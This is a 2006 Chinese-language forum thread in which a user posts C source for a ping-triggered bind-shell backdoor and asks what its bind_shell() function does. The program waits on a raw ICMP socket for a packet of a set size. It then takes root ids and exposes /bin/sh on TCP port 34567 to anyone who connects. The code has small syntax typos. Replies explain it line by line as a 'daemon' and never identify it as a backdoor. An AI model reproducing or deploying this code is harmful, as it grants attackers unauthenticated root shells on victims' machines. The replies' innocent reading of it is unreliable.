免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1271 | 回复: 7
打印 上一主题 下一主题

过来看看这段代码 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2006-06-22 09:22 |只看该作者 |倒序浏览
  #include <signal.h>
  #include <netinet/in.h>
  #include <netdb.h>
  #include <sys/socket.h>
  #include <sys/types.h>
  #include <stdio.h>
  #define SIZEPACK 88
  #define PORT 34567

  void child_kill()
  {
                  wait(NULL);
                  signal(SIGCHLD, child_kill);
  }

  int bind_shell()
  {

                  int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
                  struct sockaddr_in serv_addr;
                  struct sockaddr_in client_addr;

                  setuid(0);
                  setgid(0);
                  seteuid(0);
                  setegid(0);

                  chdir("/";

                  soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

                  if (soc_des == -1)
                          exit(-1);

                  bzero((char *) &serv_addr,sizeof(serv_addr));

                  serv_addr.sin_family = AF_INET;
                  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
                  serv_addr.sin_port = htons(PORT);
                  soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));

                  if (soc_rc != 0)
                          exit(-1);

                  if (fork() != 0)
                          exit(0);

                  setpgrp();

                  if (fork() != 0)
                          exit(0);

                  soc_rc = listen(soc_des, 5);
                  if (soc_rc != 0)
                          exit(0);

                  while (1)
                  {
                          soc_len = sizeof(client_addr);
                          soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

                          if (soc_cli < 0)
                                  exit(0);

                          cli_pid = getpid();
                          server_pid = fork();

                          if (server_pid != 0)
                          {
                                  dup2(soc_cli,0);
                                  dup2(soc_cli,1);
                                  dup2(soc_cli,2);
                                  execl("/bin/sh","sh",(char *)0);
                                  close(soc_cli);
                                  return 1;
                          }

                          close(soc_cli);
                  }
  }

 iint main(int argc, char *argv[])
 {

  int s, size, fromlen;
  char pkt[4096];

  struct protoent *proto;
  struct sockaddr_in from;

  if (fork() != 0)
                        exit(0);

  proto = getprotobyname("icmp";

  if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
  /* can't creat raw socket */
                  exit(0);

  /* waiting for packets */
  while(1) {
                  do {
                          fromlen = sizeof(from);
                          if ((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr *) &from, &fromlen)) < 0)
                          printf("ping of %i ", size-2;

                  } while (size != SIZEPACK + 2;

  /* size == SIZEPACK, let's bind the shell */
                  switch(fork()) {
                          case -1:
                                  continue;
                          case 0:
                                  bind_shell();
                                  exit(0);
                  }

                  sleep(15);

  }
 } 

特别是int bind_shell() 这个函数有什么用 ?

论坛徽章:
0
2 [报告]
发表于 2006-06-22 10:01 |只看该作者
原帖由 wbyanhust 于 2006-6-22 09:22 发表
  #include <signal.h>
  #include <netinet/in.h>
  #include <netdb.h>
  #include <sys/socket.h>
  #include <sys/types.h>
  #include <stdio.h> ...



int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
                  struct sockaddr_in serv_addr;          // IPV4的
                  struct sockaddr_in client_addr;

                  setuid(0);   //真实用户ID是root
                  setgid(0);   //真实组ID是root
                  seteuid(0); //有效用户ID是root
                  setegid(0); //有效组ID是root

                  chdir("/";     //打开根目录

                  soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //TCP传输的

                  if (soc_des == -1)   
                          exit(-1);

                  bzero((char *) &serv_addr,sizeof(serv_addr));  //国际惯例请0

                  serv_addr.sin_family = AF_INET;
                  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); //通配地址
                  serv_addr.sin_port = htons(PORT);
                  soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));  //绑定套接口了   

                  if (soc_rc != 0)
                          exit(-1);

                  if (fork() != 0)      
                          exit(0);

                  setpgrp();  //   把当前进程组ID设成PID

                  if (fork() != 0)  //  现在都创建了两个子进程了
                          exit(0);

                  soc_rc = listen(soc_des, 5);
                  if (soc_rc != 0)
                          exit(0);

                  while (1)
                  {
                          soc_len = sizeof(client_addr);
                    //新连接到的套接口      soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);

                          if (soc_cli < 0)
                                  exit(0);

                          cli_pid = getpid();  //当前进程PID,是父进程或子进程1或子进程2


                          server_pid = fork();   //第三个子进程

                          if (server_pid != 0) 父进程
                          {
                                  dup2(soc_cli,0);  //把连接到客户的套接口都和标准输入输出.出错
                                  dup2(soc_cli,1); //都连起来了.
                                  dup2(soc_cli,2);  
                                  execl("/bin/sh","sh",(char *)0); //还运行一个shell
                                  close(soc_cli);
                                  return 1;
                          }

                          close(soc_cli);
                  }
  }




总结:

父,子1进程都listen监听客户:


              父                      (父) 子1      ==>>listen to the client
               |                                     |
            子2                                    子3    ===>>根据server_pid = fork();


     把连接到客户的套接口都和标准输入输出.出错都连起来了,还运行一个shell         
                                  
                                                      ........小弟很菜.....哎..尽力帮你了

论坛徽章:
0
3 [报告]
发表于 2006-06-22 10:03 |只看该作者
你想说什么?

论坛徽章:
0
4 [报告]
发表于 2006-06-22 10:06 |只看该作者
可能目的就是把连接到的客户和标准输入输出和出错连接起来.

就是用终端和客户沟通

论坛徽章:
0
5 [报告]
发表于 2006-06-22 11:20 |只看该作者
那得伪终端。

论坛徽章:
0
6 [报告]
发表于 2006-06-22 15:16 |只看该作者
哦,开眼界

论坛徽章:
0
7 [报告]
发表于 2006-06-23 03:19 |只看该作者
怎么这贴这么快沉下去呢....我非常菜啊..不知道解释得对不对.真想看看别人怎么说的.
偶前段时间在职业版灌了很多水而且忙......现在终于考完四级所以有空来这C版学习学习啊.

论坛徽章:
0
8 [报告]
发表于 2006-07-02 15:18 |只看该作者
一个星期过去了......真的对不起大家.
                                                      从两句fork()之间的动作和:

                                                      dup2(soc_cli,0);
                                  dup2(soc_cli,1);
                                  dup2(soc_cli,2);


可以看出是一个守护神进程.

从<UNIX网络编程>可以参考到
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP